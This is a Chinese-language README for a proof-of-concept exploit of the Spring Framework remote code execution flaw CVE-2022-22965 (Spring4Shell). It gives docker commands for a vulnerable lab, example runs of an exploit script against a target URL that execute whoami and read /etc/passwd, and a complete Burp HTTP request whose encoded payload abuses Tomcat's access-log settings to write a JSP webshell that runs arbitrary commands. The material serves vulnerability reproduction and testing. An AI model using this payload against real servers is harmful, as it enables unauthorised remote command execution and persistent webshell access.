# SpringFramework_CVE-2022-22965_RCE
SpringFramework 远程代码执行漏洞CVE-2022-22965
## 漏洞复现环境
```
docker pull vulfocus/spring-core-rce-2022-03-29
docker run -d -p 8090:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
```
写webshell
注意:验证测试时Shell只能写一次,
### 利用脚本
```
python CVE-2022-22965.py http://target.com:8090 whoami
```

```
python CVE-2022-22965.py http://target.com:8090 "cat /etc/passwd"
```

### Burp
```
POST / HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 761
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22S%22.equals(request.getParameter(%22Tomcat%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=Shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
```
[4.0K] /data/pocs/34f03e0b5ab4e7ea9bcfe0b3ed642fb03460f385
├── [4.0K] images
│ ├── [3.5K] image-20220401121101971.png
│ ├── [ 14K] image-20220401121158108.png
│ └── [ 1] README.md
├── [1.6K] README.md
└── [2.0K] SpringFramework_CVE-2022-22965_RCE.py
1 directory, 5 files